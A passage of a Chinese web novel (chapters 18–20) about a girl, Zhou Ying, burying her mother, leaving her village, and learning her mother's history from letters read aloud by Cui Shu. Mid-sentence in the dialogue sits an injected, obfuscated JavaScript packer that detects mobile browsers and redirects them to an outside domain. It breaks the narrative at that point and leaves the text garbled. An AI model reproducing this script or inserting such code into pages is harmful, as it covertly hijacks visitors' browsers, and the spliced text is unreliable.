“阿缨，你想好了，你若当真这么做了，这起白事可谓办得惊世骇俗。除了疫病暴亡的，百年来整个青水镇还没有这么办的人家，你日后可是要被人戳脊梁骨的。” “太爷，我已经考虑了快两月了。”周缨应得很快，“想好了，不改了。” 族长垂下手，叹道：“也罢，既是你娘亲，依你说的办。”说罢便往外走，走出去两步，又回头看向她，长叹一声，“阿缨，你心里头还是有怨啊。” 周缨只淡淡牵了下唇。 等族长走远，周缨顿觉眼前发黑，头晕目炫，只好扶着墙略站了一站。 年纪比周缨大不了几岁的一名新媳走过来，悄悄递给她一块酥脆点心，又怕被旁人看见，趁她反应过来之前，已急匆匆地赶去婆母身边帮忙洗碗。 周缨将那块点心两口塞进肚中，勉强填填肚子，便进了阿娘房间，收拾屋中物件。按照习俗，这些旧物都将一并烧给亡人，此事亦不得假手于人。 阿娘孤身来到此地，家中又困窘，并无太多物件，周缨将收拾出来的物什一并用床单打包束在一处，只单独留下了一只小榉木盒子以作纪念。 诸项事宜既已议定，族长安排周缨叔伯辈的人出面理事。主事的人素有威望，大家虽对丧仪有些意见，也不敢拿到明面上说，只偶尔铙钹声起时，隔得近的妇人会凑在一起咬两句耳朵。 风水先生算过时日，翌日申正二刻，屋前空地上便燃起了熊熊大火，周宛被冰冻数日不得安歇的肉身终于得以安静地走向消亡。男人们另起火堆，依旧俗将旧物一并烧毁。 村里百年来不曾出过一例火葬，众人远远围观，心中却直打鼓，生怕不得入土为安的亡灵回来作祟。 周缨独自站在近处，任由白色的飞灰落了满头满身。 春日暮短，天色转为铅色时，周缨将骨灰敛入陶罐，捧入棺椁之中。 三月初三，辰时封棺，周缨于灵前摔碎一只瓦盆，扛夫抬柩起行，于朦胧的天色中将棺木送至魂灵安息处，覆土之后，坟茔新起，周缨亲手立起请人刻好的碑石，其上书“先妣周宛之墓”。 周缨跪在墓前烧纸，厚厚的一沓黄表纸被拆分为薄薄的纸片，而后投入火堆，燃起橙黄色的火焰。 鞭炮一鸣，淡蓝色的烟雾中，众人撤回院中，吃过早饭，收拾好桌椅碗筷并一应物件，各回各家各归其位，丧仪自此便算结束。 周缨一身缟素，站在院门口，向众人叩首：“诸位爷叔婆婶，大恩无以为报，周缨在此谢过。” 族长托她起身，见她不肯，只得作罢，叹道：“阿缨，往后多保重。” 众人陆续离开，周缨跪在门口，依次向离开的每一个人叩首，行孝子仪，直至日头从翠竹山后跃出，金光洒满院落，院中彻底空寂下来。 18. 郊野冻草（六） 除却父母不同葬和火葬这等不同寻常的举动，在贫苦的庄稼人家中，周缨亲自主持的这场丧仪算得上盛大，花费不菲。与之相比，徐氏的尸首在同日被其子领回家中，族长以死者为大为由，指派了近门子的两户人家前去帮忙。 嫁至杨家坪近二十年、日渐泼辣狠毒的女人，被草席一卷草草掩埋，自此消匿在翠竹山贫瘠的土地里。 三月初十，族长敲锣召集众人，于宗祠祭祀先祖后，将杨泰、杨固二兄弟剔出族谱，并着人将二人事迹刻于宗祠院墙，警醒众人勿要忘本。 周缨并未前往，听到宗祠处传来的喧嚣声时，也不过抬头淡扫一眼，便继续忙活起自己的活计。趁这几日的功夫，她已将家中尚还有些价值的物件清理出来，拿至镇上贱卖换了钱，清点完前后开销，又用余钱到相邻的三个镇上跑了几趟，多番比对，买来最好的稻种，趁春耕开始之际，逐户分发。 春寒未消，周缨每日鸡鸣三声即起身，沿着崎岖的山路和坑洼不平的田垄走至田间，裤脚一捋便跟着犁铧下了田，挨家挨户帮各家干上一日，随时令前半月育苗，后半月插秧。众人皆知这孤女是在报当日之恩，不便推辞，只晌午的便饭尽己所能多添一道菜。 三月末，各家秧苗都已下田，翠竹山间的田间地头绿意遍生，周缨却累倒在了自家灶头。 自家磨了豆腐，虽忙完农活时已近薄暮，林氏仍特地端了一碗来给周缨，明明瞧见耳房里有微弱的灯光，但敲门不应，推门不开，只得喊来杨成将门撞开，便发觉了晕倒在地的周缨。 林氏上前扶她，手刚触上她的背脊，眼泪花儿已落了下来：“天可怜见的，瘦成这样。” 林氏停了活计，叫杨成亦停了工，把家中一切都交给他一人料理，自个儿则专心照顾周缨，周缨劝她回家也不肯，几次过后，也就不提这话了，每顿强忍着恶心将她做好的饭菜多吃下半碗，好叫她宽心。 四月初一，刚入夜，久无人迹的小院忽有客来，叩响了厨房的木门。 彼时周缨刚从椽子上取下两束晾晒干的玉米，正坐在灶下剥粒。前些时日她才从邻镇上买来鸡苗和一头小牛，人饿得，牲畜却饿不得。 自从出事后，周缨改掉了以往夜不闭户的习惯，凡进门必要插上门闩，并用榆木杠子顶门，以防有人闯进来。但这两日林氏陪着她住，进出多有不便，这习惯便暂且撇下，是以此时有人敲门，她的心骤提到嗓子眼。 她静了片刻，门口传来人声：“周姑娘在吗？” 极为陌生的声音，周缨没应声，外头声音压低，似在交谈。 周缨忽然福至心灵，走到门后，试探问：“是束关吗？” “是我。”外头谈话声停下，应得很快。 “进来吧。”周缨打开门往外看去，束关见她出来，连忙侧开身子，让出身后的人来。 崔述身披一件玄黑的氅衣，领边上滚一圈蓬松的狐狸毛，站在檐下，冲她颔首致意。 “夜里冷，路远，进来喝杯热茶吧。”周缨将两人往里让。 束关道：“我先将马喂了，预备一会儿赶路。周姑娘可知这附近哪里的草长势好？” 不料他们来得急，走得竟也这样急，周缨想了一下，指了指屋前的一道半坡：“往前走上半里路，那里的苜蓿顶好。我这里还有麸皮和玉米，晚些也喂一点。” 束关道过谢，牵了系在院门口的两匹马往外走。 周缨引崔述入内，室内未燃灯油，只灶下燃着火以驱夜寒。柴火之光昏暗，周缨点燃灯，跳跃的火光将她的身影投至壁上。 崔述轻瞥一眼，心想，比上回瘦得更厉害了。 周缨取干净的布巾擦净扶手椅，请他落座，替他斟来一杯热茶：“祛祛寒。” “好。”崔述伸手接过，落座呷了口茶，眉目间沾染的霜寒褪了半分。 “应当没吃晚饭吧？”周缨坐在一旁矮凳上，重新捋起垂落的袖子，继续剥苞谷，“要不吃顿便饭再赶路？” “好。” 他还是先前那样，从不辩驳她的提议，周缨唇莫名牵了下。 崔述借着扑闪的烛火观察着她的神情，一如初见时那般冷肃，看不出一丝悲伤，沉默片刻，似随口问道：“你知道我会来？” 周缨“嗯”了一声，又说：“倒也不是，但见到你来，也不觉得吃惊。”她顿了一顿，同他道谢，“多谢。” “什么？” “崔讼师。”周缨冲他一笑，“若非你出手相助，遇上这么个糊涂县官，说不定得把我自个儿都搭进这案子里。” “应当不至于，若真如此，州府复核那关约莫也应付不过去，只是要定杨固死刑确有些困难。”崔述沉默片刻，好奇道，“我何处露了馅儿？” 周缨身子尚未痊愈，声音哑得厉害：“你伤没好全，难免有些破绽。” “原来如此。”崔述淡笑了下。 “原本只是有些怀疑，但狱卒同我说，他们同僚一起吃酒时，听书吏提起过，这份诉状非常厉害，县官怕惹到不世出的高人才往上递得快，州府也批得快。”周缨仍旧歪着头，声音低低地传过来，“狱卒说你自称是我乡邻，但我根本不认得什么能写出这样诉状的高人。” “我钻研此道日久，不足为奇。” 崔述注视着跳跃的火苗，语气不无落寞。 周缨转头看他一眼，又收回目光，将已蹦到嗓子眼儿的疑问咽了回去。 他的身份来历，不当她问。 崔述不知她心中所想，只接着方才的话道：“但你能赢这场官司，并不全靠那份诉状。五轮堂审，不曾记错一个细节，答错一句话，前后未有任何翻供，沉着应对，有据有节。我见过无数堂下受审之人，不论年纪长幼，占理与否，在堂官和刑罚的威压下，能做到如此的，十之一二而已。何况……”她才刚经丧母之痛，又少不更事。 若非当日亲眼所见，他也很难相信她能够从容应对，尽展当日他在狱中所授，以至于当日堂审结束，他便立刻改了主意，将原本预备留下帮助善后的束关一并撤回沧州，留她一人独自面对后来种种，不再插手。 崔述将后半截话咽回腹中，直视着她黑亮的双眸：“短短一日，《永昌律》相关，你记得一字不差。这个公道，是你应得的。” “想活命，想替阿娘讨一个公道，逼着自己硬记下来的。”周缨将杂乱的灶下收拾整齐，各色用具归置到墙角堆好，打水净完手，过来接他的茶杯，才说，“总之，这回欠你一个大人情，以后若有机会，一定报答。” 崔述没应声。 周缨默了片刻，又说：“不过也是空话，总归以后没机会再见了，你要回玉京了？” 崔述“嗯”了一声：“你往后做何打算？” 周缨从袖中取出一张黄纸，展开递给他：“你帮我看看，这契书有无问题？” 是将家产悉数赠与杨成夫妇的契书，写清了家中两亩薄田的位置与大小，崔述阅过，点头道：“没有，可用。” 周缨将纸收起来：“官府已判我随母归宗，并出具公验，允我回原籍重录户帖，等隔两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452658|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日请个中人作证，和成叔签了这契，我就准备离开，不再回来了。” 林氏提着竹篮站在门口，听得这话，呆站了片刻，惶惶不知所措。 周缨忙起身将她扶进来坐下，看一眼崔述，又看一眼她，不知该如何介绍两人认识。 林氏此时方慢慢回过神来，冲周缨道：“阿缨，你去后头把菜洗了，有客人来，连饭菜都不知道准备了？” 她极少用这样的语气说话，周缨愣了片刻，才“噢”了一声，提起竹篮往后去了。 屋后响起涓涓水流之声，崔述向林氏一笑：“多有叨扰。” 林氏沉默须臾，说：“我见过你。” 崔述不应，她接道：“上回官府的人来抓逃犯，拿着你的画像来问，我不认字，但记人脸不差。” “是。”崔述未作掩饰。 “那回当真是阿缨藏下了你？这丫头当真是胆大包天了，竟敢做出这样的事来。”林氏道，“我早怀疑是谁在帮阿缨，阿缨虽然勤快，但咱们这儿穷乡僻壤的，就算她能攒下几个小钱，能够打点狱卒给我送衣送被，但后来给她娘亲操持丧事，那阵仗，咱们村里几十年不曾出过了，她不可能攒下这么多银钱。何况那日过堂，那些话，绝不可能是她自个儿能说出来的。” “我想了好几遭，一直想问那丫头，但不好出口。”林氏将他周身再度打量一遍，“今日一见你，我便想明白了。” 崔述只淡淡一笑。 林氏接问道：“敢问这位郎君，将去哪里？” 崔述如实相告:“玉京。” “玉京。”林氏咂摸着这个遥远的地名，“都在北边，那和棠县隔得远吗？” “间隔百里，不算太远。” 林氏忽然跪地：“那能不能请郎君，送阿缨一程？” 崔述被这突如其来的举动所惊，忙伸手托住她手臂：“您先请起。” 林氏不肯，抹起眼泪来：“不怕您说我托大，我实在是没有办法，阿缨丫头挨着给每家每户帮活的时候我就想到了，这丫头是一定要走的，她是想在走之前还清欠的情。她这一辈的，咱们村里共有十四个，可打小就没有任何一个和她一样伶俐，她的确也不该在这山里待一辈子。” “这丫头主意大，说了隔两日要走，就一定会走。但她毕竟才刚满十五岁，从没出过远门，若非这回卷进事里，连县里都没去过。听说棠县有上千里之遥，要走上几个月，她最近又病得厉害，我怕损了根骨，以后养不回来，实在是放心不下。”林氏伏地叩首，“既然玉京相隔不远，郎君和她勉强也算是过命的交情，能不能请郎君，送阿缨一程，到合适的地方再分路？” 崔述微有迟疑：“她母亲既然已故，户帖之事不算太急，您怎知她此刻就一定要前往棠县？” “那丫头……把装了她娘亲骨灰的陶罐悄悄换了，没有入棺，我亲眼瞧见的，亡人要落叶归根啊。”林氏泪如雨下。 崔述转头看向屋后，暮色之中，那身影瘦骨伶仃，孱弱得像一株被厚雪压弯了腰的野草。 “您信我？” “阿缨虽然手头不宽裕，但绝不是爱财不惜命之人，她当日既然帮你，我信她的判断。”林氏停顿片刻，“何况，这回的事起，你并未忘恩。今日一见，如此稳重，我记人不差，识人也不弱，你当是重诺守信之人。 “阿缨当日也是犯险帮您，而今想请您大发善心，对她照顾一二。” 崔述手上用力，将她强行托起：“母之爱子，拳拳之意，不过如此。您既托请，我应下了。” 19. 郊野冻草（七） 周缨端着洗净的青菜进屋，方才那一幕已经收尾，林氏正站在灶前料理杨成日间送来的鹿肉，同崔述有说有笑：“我男人从山里打来的野味，你是贵人，这山里没什么好拿来招待的，这还算一样，有些滋味。” 崔述笑着应和了一句，惹得周缨满腹狐疑，心道这二人何时这般熟悉了。 肉炖得慢，束关推门进来时饭菜尚未备好：“郎君，马给您拴在院外了，晚些我送您下山再折回来。” 听出此话的弦外之意，周缨正剥着的玉米斜飞出两粒来，落在崔述膝上，崔述拾起扔进她身前的木斗中，同束关道：“牵进来吧。” “您今晚不走了？” 崔述点头。 “怎突然改了主意？”束关劝道，“先前往返耽误时日太久，眼下郎君还是先行一步的好，周姑娘这头无论做什么安排，我都会善完后再离开，您别操心。” 林氏不知崔述原来就有让仆从帮忙照看阿缨的打算，此时突然听得这话，懊悔自个儿自作主张挟恩图报，坏了人家原本的计划，又怕寒了人家的心反生罅隙，心下焦急，在作裙上擦干手，竖着耳朵听二人的对话。 “也不急这一晚，明日再说。” 束关无奈拱手，转头出去了。 周缨斜着眼觑他：“你忙你的事，束关也同你一并走，不用管我。” “先前便同你说过，我会让束关送你出行，不过后来看你困于囹圄脱不得身，便将他暂且调去一用罢了。”崔述语气淡淡，似在说一件再随意不过的事情，“眼下我既已过来了，让束关单独送你一趟，和你我同行差别不大。你若怕误我的事，今晚便趁夜收拾好行李，明日一早就随我一起走。” 周缨猛然抬头：“我何时答应过要同你一起走了？” “阿缨。”林氏打断她的话，“先去把马喂了，再回来打水招呼客人洗手吃饭，晚些我有话同你说。” 见她这般强势，周缨只好依言将刚剥好的玉米混着麸皮拿到外头，喂给二人的坐骑。 四人草草吃完一餐，周缨将自个儿的床铺重新铺了一遍，却没瞧见束关，只好将崔述一人先带去休息。 等回到厨房，林氏正往包袱里塞春饼，她迟疑了下，问道：“婶儿，您都听到了？” 林氏点头，又往洗净的小瓷罐里装泡好的萝卜丁，眼睛一眨，眼泪珠子又串成了线，她埋头拿衣袖抹了，用勺捣实，往罐里再装了一勺：“外头纵有山珍海味，但人离了家，总还是会惦记这口从小吃到大的东西。” 周缨闷闷地应：“我一个人路上也吃不了太多，等到了地儿，我自己会做，买些来做就行了。” “你这丫头主意大，我说不动你。”林氏将瓷罐封紧，数落道，“不过你听婶儿一句，跟着那位郎君走，让他送你一段，等熟了外头的一切，你再一个人上路。” 周缨坐下，继续剥玉米，她新买来的鸡苗还没长大，她得尽量备好粮食，林氏养起来才没有太大压力。 “我自己能行。” “没说你不行，但你一个姑娘家，没人照看，婶儿不放心。”林氏走近，粗糙干硬的手抚上她的脸颊，“阿缨，你听婶儿一句劝，收收你的气性，在外头有个人帮衬着，总没那么苦。” 周缨不吭声。 见她油盐不进，林氏终是忍不住，哽咽出声。 周缨心下着急，忙将她拥入怀中，在她背上轻轻拍了几下。 林氏反抱住她，箍住她瘦得硌人的背，哭声再也收不住：“儿啊，你一个人出远门，家里人不放心，你体谅体谅我这个老人家，一辈子没出过山，怕你一出去就遭了豺狼虎豹啊。婶儿这辈子就得了一个女儿，四五岁上就没了，这么些年就你一个亲近的小辈，早拿你当女儿待了，你若出了事，叫我怎么原谅自个儿？” 周缨心下一酸，眼眶微红。 “我知道你打的什么算盘，柴劈好了，粮食种好了，牲口买好了，都是留给我和你成叔的，我都知道。”林氏将她死死箍在怀中，发狠似的说，“你若答应，我让老头子明天就来和你签契书，要是不答应，我把话撂在这儿，便是这屋子烂了朽了倒了，我也绝不会再踏进一步，不会用你一分一毫。” “我答应，婶儿您别这样。”周缨思虑良久，终于应下，“我去收拾，明早便随他一道走。” - 翌日一早，周缨请来族长做中人，双方按下拇印，定契成约，将一应家产全数赠与杨成夫妇。 这绝户女虽因随母归宗尚失继承之权，但族中众人也不敢打这份家产的主意，眼下周缨要如何处置旁人自然无从置喙。 何况族长家大业大，并不在意这点薄产，便欣然做了这个中人，只是在临走前，同她道：“阿缨，这些年……因为先前的很多事，族里对你帮扶不多，你一直不大容易，往后多保重。” “大伙对我都有恩，我很感激。”周缨谢过族长，辞过杨成夫妇，带上为数不多的行李，去新坟前敬下最后一炷香。 坟茔中虽无新魂，但她仍固执地在走前留下一缕青烟，奠那名叫作周宛的女子葬送在这深山里的一生。 周缨站在坟前，紧抿下唇，直直望向杨固家那栋还算阔气的祖屋。 阿娘这座坟茔，将令杨家人在这翠竹山中世代都抬不起头做人。 她沉默地走下坡地，到后山小路与崔述会合。 崔述牵马在前，她一声不吭地跟在后面。行至山脚官道，崔述回头问她：“会骑马吗？” 周缨老实摇头：“牛和骡子倒骑过，马没有。” “差不太多，但马性子躁些，没那么温顺，难控制一点。”崔述转头看向正翻身上马的束关。 束关控缰的手微紧，一下蹿出去两尺地，才回头道：“郎君，我先去前头探路。” 崔述面上看不出喜怒，沉默片刻，先一步上马，冲周缨伸手：“上来。” 周缨并不忸怩，搭着他的手踩上马蹬，上了马背。 “小心些。”崔述嘱咐完，一勒缰绳，身下的良驹已射出去一箭之远。 周缨揪着一颗心，一路勉强控制住身子的平衡，随他主仆二人快马行至平山县城，同候在此处补给并等待接应的奉和会合。 晌午方过，一辆不起眼的挂着青色布帘的马车驶出平山县，一路往北疾行。 从未走过这么远的官道，马车行得快，周缨被颠得难受，脏腑间一股酸气直冲脑门，只得长时间靠坐在车壁上闭目养神，偶尔往窗外扫上一眼，眼神亦涣散得厉害。 崔述面前的小几上垒了半尺高的卷牍，因不怕周缨泄密，倒并不避忌她，专心致志地翻阅着，只时不时地抬眸，瞥一眼已僵成石像的周缨。 再次感知到这视线时，周缨突然回视过来，同他道：“我要没猜错的话，你身上应当有要事，骑马要快得多，你先走吧。若当真放不下心，束关留下送我也是一样的。” 崔述将手中书册搁下，认真地注视着她，道：“此话不必再提。” 他一反常态的坚决，一如当日洞穴之中坚持要让束关送她。 周缨一时无言，默默垂下眼，果真不提此话了。 一杯溢着清香的桔梗茶被递至小几边缘，崔述言谈温和：“自离开平山县，你便拘谨得厉害。路上和家里不同，一切从简，诸多不便，难免照顾不周，有什么你便直说。” 周缨扣在包袱上的手一松，泛白的指甲重新有了血色。 崔述重新埋首书册，周缨喝完那杯热茶，脏腑中的浊气逐渐散去，精神好了些，侧着头看向往后倒退的景色。 “第一次出远门，难免会有怯意。”崔述淡看她一眼，竟同她说起闲话，“我头回离开家里，就是带着他们两个，去一个荒凉偏僻之地。” “你那时怕吗？”周缨转过头来看他。 崔述摇头：“是我自己选的路。即便前路是平生未见之险途，也不值得惧。” 周缨“哦”了一声，又转回头去，不再出声，只是手还是扣在那包袱上。 毕竟才十五岁，崔述目光落在她发白的指甲上，洞穿了她的心事，劝道：“不是你的错，没必要都怪罪在自己身上。时日长了，秤砣虽小，也能压死人。人生百年，立身处世，首戒自苦，这是你必须学会的功课。” “我没有。”周缨似被人戳破私隐的孩童，脱口反驳，却又在马蹄激起的黄色尘雾中失了神，语气低落，“我明明知道他们想做什么，却没有提防。” “你只是没想到，人性之恶会到如此地步。”崔述目光落在窗棂上，语气温和地宽慰她，“不论你母亲是何身份，他们总归是你血缘上的亲人，常人都难以预料到他们竟能坏到杀人越货的地步，你自然也不会生出如此防备之心，这怪不得你。” “你是不是早就看出来了，否则当日在狱中，不会劝我付出些代价以了结此事。” 崔述颔首：“此类案件并不鲜见，我亦经手过几起，先前在你家中时，已有所猜测。” 周缨定睛打量了他一眼，终是没说什么，复又垂眸，取出怀中藏着的榉木盒子，拿在手中端详。 上头挂着一把生了锈的小锁，惊起叮叮声响，一看便知是上了些年头的物件。 “为何不打开？”崔述不解。 “早些太忙了，没顾得上。等后面合适的时候，再去寻个锁匠打开吧。” 崔述冲她伸手，周缨迟疑一下，将盒子放入他掌间：“怎么？” 崔述拿起观摩片刻，唤奉和进来。 奉和拿在手头鼓捣了一阵，锁舌便“嗒”地一声开了。他将盒子归还给周缨，退出车厢。 周缨小心翼翼地打开盒盖，落入眼中的先是两枝已经风干的草茎，一旁躺着一只模样颇有些滑稽的折翅竹鹰，另还有一块油纸包好的饴糖。 周缨将那只竹编的鹰举至眼前，翻来覆去地看了几遍，两行泪忽地滑落下来，“啪嗒”坠在那两段一长一短的干茎上。 黢黑的根茎被泪水浇灌，翻卷开一段尘封的绿意。 这是阿娘过世以来，周缨第一次落泪。 眼泪盈睫，掩去过往的倔与韧，委屈、悲恸、自责齐齐上涌，催逼得以往固若金汤的泪池泄了闸。 她绽出一个带泪的笑，似自言自语：“那年我六岁，她趁杨泰不在 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“后来她疯了，我才听明白了那话……她说，生在这样的家里，你不要起这样的妄念，心比天高，是要折寿的。”周缨带着笑说，“我那时不明白她为什么要生气，只觉得她出尔反尔，生气跑开了，赌气好几日都没理她，没想到她竟存起来了。” 盒中藏有一摞叠好的纸笺，其上字迹隽秀，崔述从密密麻麻的方块字中拼凑起那个名为周宛的棠县女子的一生。 她应当是书香世家的小女儿，从小备受父兄宠爱，却在庙会上同家人走失，被人强行带往南下，因为礼教传家不肯屈身秦楼楚馆，转手几次都因她试图自裁而失败，等到平山县，大雪封山，人牙子怕藏太久暴露最终折在手上，折价卖给杨泰这个普通人。 她年轻时生得有几分姿色，杨泰这样的乡野粗人只当她是天仙下凡，卯足了一辈子的耐心和温柔来哄骗她。 她也知山高路遥，再回家是痴心妄想，她曾趁夜偷逃过两次，均走不到山脚便会被抓回来。她那时劝服自己，杨泰虽是乡野村夫，但对她还算柔情蜜意，这样的日子再怎么也比流落烟花柳巷强些，于是渐渐松动心防，认命愿同他好生过下去。因经历曲折，她畏惧见人，便将那两间破败老屋织成一张困住自个儿的网，安心过起与世隔绝互相扶持的日子。 一切自欺欺人戛然而止于她诞下女婴的那一刻，杨泰一声没吭便出门赌钱去了，全然不顾啼哭不止的婴儿和刚历鬼门关的妻子。后来更是原形毕露，她才知晓他原来赌酒不离身，这两间老屋独门独户竟是因他赌钱输光了，不得不将家里分给他的一半祖屋一并折卖给他大哥杨固，这才搬出来同一个老鳏夫低价买了这两间屋子。 饱受恐吓，全无温存，日子难过，她日日以泪洗面，但仍苦苦支撑。 那婴儿长至一岁上，因夜里啼哭不止，被杨泰举起便要往地上摔，她拼死救下，自此彻底认清他的真面目，偷摸上山采来草药，以损坏身子为代价，断了孕育之念。几年无子，杨泰带她去瞧大夫，她的做法被揭穿，杨泰被激怒，生出一个报复她的法子——他不对她动手，只打那个她看得比命还重的孩子。 偏那孩子命像野草一样贱，身子康健，脾气也倔，先前还哭闹不休，后来稍明事理了，他每次一动手，便死瞪着眼看他，杨泰彻底恼怒，下了死手，差点将那孩子打成瘫痪。 等那孩子再次命大地喘过气来，杨泰醉酒坠到沙河里摔死了。不知怎么传出风声说是她做的，杨固夫妇前去报官，官府来人将她抓走，那时的知县好大喜功，最喜动刑，她在狱中走了一遭人间炼狱，最终却因实在没有实证，而被当时那位受过平山父老恩惠的州府推官勒令开释。 周缨听到此处，掩面啜泣起来：“她回来一见到我，就将我抱起来。可我看着她身上已经干得发黑的血迹，却害怕得紧，孩子嘛，总是经不住旁人吹耳边风的，我就问她，到底是不是她做的。” “她不回答，把自己锁进房间里，整日整夜地写东西。”周缨艰难接道，“我不知道她在写什么，她曾经试图教过我认字，但只要一被杨泰看到，就会把我往死里打，后来她就也再不肯教我读书写字了。我那时候只是倔，就反反复复地问她，到底是不是她把那人推下河的。” “问了好些天好些遍，她终于疯了。”周缨苦笑了下，“这些年我一直在想，她疯之前到底在想什么，会不会对我特别失望，亲手养大用命护住的女儿非要送她上绞架，其实不是……我只是那时候太小了，不明白什么大事理，就觉得倘若真是她做的，那她可真厉害，那她便是我心中真正的大英雄了。那时村里的孩子们都说她是杀夫的坏女人，我也是坏种，我只是想证明，我阿娘才是最厉害的。” 崔述执着那页薄如蝉翼的纸，若有千钧重：“她没有怨你，她说‘女未长成，不敢赴死’。她也不是因你之言而溃败，只是礼教传家，平生从未做过分毫恶事，何况杀人，心中压力太大，无处排遣，日积月累下，终于还是坚持不住了。” 他取出最底下那张纸递给她，其上寥寥五字——“杳杳山水隔”。 “她为你取名‘杳杳’，寄望你能迎霜绽放，跨过万里之迢离开翠竹山走向广阔天地，却又深知并无能力带你离开，怕你生出凌云之志，却困于深山，同她一样此生难度，故亲手掐断了这条路。” 20. 暗风吹雨（一） 自腊月里受了冻，又连日操劳，旧疾一直断断续续地发作，崔述的声音听起来都似乎带着一丝哑意。 周缨呆呆地看着他用修长的手指翻过每一页泛黄的纸，视线快速扫过，便将其上的内容同她细细讲来。 周缨原本一直沉默地听着，等他讲完最后一张纸，却忽然发问：“这五个字为什么这么解？” 崔述看她一眼，解释道：“这句引自一首咏梅的诗，凌寒绽放，不畏霜雪，是她对你的期望。她心里其实……很矛盾。” 周缨平平地“哦”了一声，拿袖子擦干眼泪，将纸笺叠好装回盒中，小心放回怀中，又从袖中取出那只浆洗得发白的荷包仔细端详——其上以细密的针线绣着一株早梅。 自那以后，她便很少开口。 崔述事忙，日日伏案，她便也不吵他，整日间侧头看着窗外日渐远去的乡景，心里偶尔涌起一种难言的哀恸。 她反复忆起和阿娘相处的点滴，她那时还小，并不懂得很多事，等后来阿娘日渐迟钝愚笨，她不得不独自支撑起那两间老屋时，才慢慢琢磨明白那些阿娘以前说过的前言不搭后语含混不清的话，理清阿娘的身份和来历。 她知道，阿娘其实并不希望她到来。 她的出生，戳破了杨泰给阿娘营造的温柔假象，也加深了阿娘和翠竹山的羁绊。 但她还是总是想起，阿娘背着人偷摸爬上山，采来一抔红艳艳的浆果，在后院清洗干净，一颗颗喂给她的场景。那时阿娘笑得温婉而柔和，与翠竹山孕育出来的朴实直爽的女人截然不同。 寒冬腊月里，阿娘会在无人愿意出门的时节里艰难爬上半山腰，采来几支腊梅，插在陶瓶里放在屋中添香，留一小支插在她头上，笑着说我们杳杳真是个好看的姑娘。 她后来数次想起，杨泰拿起柴禾往她身上落时，阿娘飞奔过来将她护在身下的身影。 阿娘不是个强硬的人，可以为不侍万人备受凌辱而寻死，却在面对侍一人苟活的局面时懦弱屈服，后来囿于经历与杨泰的淫威也不敢同村里人来往，数次回避林婶的好意，更在对杨泰彻底失望后，因为害怕影响女儿的处境和名声，也不敢伺机对村里人揭露他的恶行，始终守口如瓶，反做了杨泰的帮凶。至于后来，杨泰去世后，阿娘或许也曾动过返籍的念头，却因要避免坐实杀人动机，而永不能再开口了。 但这样软弱的阿娘，却不惜以命为代价，救下她两次。 与这样的回忆镇日相伴，直至窗棂里送进来的风带了一丝微熏的气息，周缨才终于从这些纷乱的往事中挣脱，将注意力投向全然不同的北方城镇。 一个星子暗淡的夜里，进入客栈歇脚之时，崔述用如往日一般稀松平常的语气同她交代：“休整一夜，明日我们分道，束关送你去棠县，我与奉和回京。” “好。”这一路衣食住行不曾操过半分心，顺畅得超乎想象，的确受他恩惠颇多，周缨真心实意同他道谢，“多谢照顾。” 崔述摆手，先一步回了房间，未有过多叮嘱。 周缨这晚睡得还算踏实，第二日醒来，用过小二送来的餐食，下楼同束关碰面时方知，天未明时崔述已经离开，她说了声知道了，便上了马车，没有多问一句。 到棠县后，为免招摇引来麻烦，束关没有走官府的路子，买通不少摊贩花子四处打听，不出三日便探回来消息，城东一户周姓书香人家在十余年前走丢过女儿，当时闹得阵仗极大，倾阖家之力各处悬赏寻找，最终不了了之，不出半年，周老爷便因心忧过度去了，其夫人撑了一年多，也跟着撒手人寰。如今周家是独子当家，家境还算殷实。 周缨寻上门去的时候想过数种可能，不想这位舅舅对她还算和善。起先存了怀疑，后来她捧出娘亲留下的那些信笺以及官府凭据，舅舅尚还记得当年最为疼爱的小妹的这手字，阅过之后痛哭流涕，慨叹小妹这些年受了这许多苦难，又让周缨务必留下安顿，必当视如己出。 舅母虽不大待见，她刚过门不到两年周宛便出了事，彼此间情分不深，只觉这事传出去不大光彩，但见周缨毕竟是个孤女，着实可怜，又到已经及笄可以尽快嫁人的地步，并没多说什么，很快同意了丈夫的安排。 周缨却捧出那只陶罐，要求代母祭祖，告慰亡灵，而后由舅舅做主，在周老爷和裴夫人的墓地之侧，择了一小块地皮垒起一座新坟，将阿娘葬入故土落叶归根。 诸事毕后，舅舅与她同往棠县官署，允她附籍重录户帖。 此后周缨坚持辞行，舅舅百般挽留不得，毕竟也无真正的情分，也就放手让她离开，只叮嘱说若有难处，随时回来。 走出那条百年绿荫掩映下的老巷时，周缨被日头晃花了眼，抬头方瞧见艳阳烈烈，已隐隐可以闻到夏日的味道。 她慢慢走回当日落脚的客栈，叩响束关的房门，躬身拜谢，请他启程回玉京，并代为向崔述致谢。 束关问她作何打算，她说还没想好，先暂住上几日再决定，却在出门之时一头栽倒在地。 两日之后，玉京城西梧桐巷里一处偏僻小院的门被叩响，束关将身躯滚烫的周缨背进厢房，转身便去上房寻崔述禀告：“在棠县请不少大夫瞧过了，说是身子虚空得厉害，心血暗亏，早是强弩之末，不过硬撑着一口气，我估摸着是心结终于了了，一时支撑不住，已晕厥了整整两日。” 假死的消息早已传回玉京，崔述如今不便在人前露面，便将延医请药的事交给了二人操持。 后一日夜里，束关再来请他：“郎君要不去瞧瞧，状况不太好，大夫交代最好先预备上后事。” 崔述手中所执之笔顿在半空，墨汁顺滑而下，将精心构思的案卷染出一团墨渍。 临时买来落脚的院落算不得敞亮，夜里更显昏暗，崔述在迈入充斥着药味儿的西厢时眉头微皱，吩咐束关将门窗大敞。 榻前置着一只杌子，因周缨病得厉害，已顾不得避嫌，为着大夫频繁问诊方便特设了此凳，夜里也不曾撤去。崔述行至榻前，拿脚将杌子拨开，借着黯淡的天色去瞧榻上的人。 束关擎来一支蜡烛：“怕太亮扰着姑娘休息，没敢点大灯。” 目光落在周缨几无血色的唇上，又上移至凹陷得厉害的脸颊上，崔述的语气还算平静：“大夫如何说？” 